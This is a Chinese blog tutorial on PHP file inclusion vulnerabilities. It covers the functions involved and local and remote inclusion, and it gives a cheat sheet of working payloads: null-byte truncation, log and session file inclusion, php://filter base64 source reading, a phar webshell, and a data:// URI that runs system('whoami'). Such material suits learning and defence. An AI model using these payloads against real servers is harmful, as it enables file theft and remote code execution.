网页文件包含漏洞(file inclusion)

阳光穿透心脏的1/2处 2021-09-28 09:18 378阅读 0赞

web php 文件包含漏洞是“代码注入“的一种。代码注入的原理就是注入一段用户能控制的脚本或代码，并让服务端执行

常见的导致文件包含的函数如下：

PHP: include(), include_once(), require(),require_once, fopen(), readfile() ….
    
    JSP/Servlet: ava.io.File(),java.io.FileReader() …
    
    ASP:include file, include virtual…

PHP文件包含主要由这四个函数完成：

include()
    require()
    include_once()
    require_once()

当使用这4个函数包含一个新的文件时，该文件将作为PHP代码执行，PHP内核并不会在意该被包含文件是什么类型。所以如果被包含的是txt文件、图片文件、远程URL，也都将作为PHP代码执行。

## 本地文件包含 ##

在php版本小于5.3.4的服务器中，当Magic\_quote\_gpc选项为off时，我们可以在文件名中使用%00进行截断，也就是说文件名中%00后的内容不会被识别，即下面两个url是完全等效的。

A [http://ip/a.php?page=][http_ip_a.php_page]…\\php.ini  
B [http://ip/a.php?page=][http_ip_a.php_page]…\\php.ini%00xx.php

使用%00截断可以绕过某些过滤规则，例如要求page参数的后缀必须为php，这时链接A会读取失败，而链接B可以绕过规则成功读取

常用语法：

http://xx/								读取session文件
    
    http://xx/xx.file						包含上传的附件
    
    http://xx/error.log						包含错误日志
    
    http://xx/	httpd.conf					获取web目录或者其他配置文件
    
    http://xx/?page=file.txt%00xx.php			%00截断
    
    http://xx/page=file:///c:/flagvalue.txt 		使用file:///path  查看文件
    
    phpinfo()								 查看临时文件存放目录，包含临时文件
    
    phar://压缩文件名/webshell.php			压缩webshell.php      				
    
    http://?page=php://filter/read=convert.base64-encode/resource=xx.file

**hints** about php://filter

php://filter/source=<filename>		 读取文件内容
    php://filter/read=string.toupper/source=<fileanme>`  
     将文件内容转换大写输出
     php://filter/read=string.tolower/source=<filename>`  
    将文件内容转换小写输出
    php://filter/read=string.strip_tags/source=<filename>	
    去除文件内容中html标签输出
    php://filter/read=convert.base64-decode/resource=<filename>
    将文件内容base64解密后输出
    php://filter/read=convert.base64-encode/resource=<filename>
    将文件内容base64加密后输出

## 远程文件包含 ##

选项allow\_url\_fopen与allow\_url\_include为开启状态时，服务器会允许包含远程服务器上的文件

http://xx/?page=data://text/plain,<?php system("whoami")?>

执行php 代码 system函数

http://xx/?page=data://text/plain;base64,base64Code

利用data URIs

data://image/jpeg;base64,...

[http_ip_a.php_page]: http://ip/a.php?page=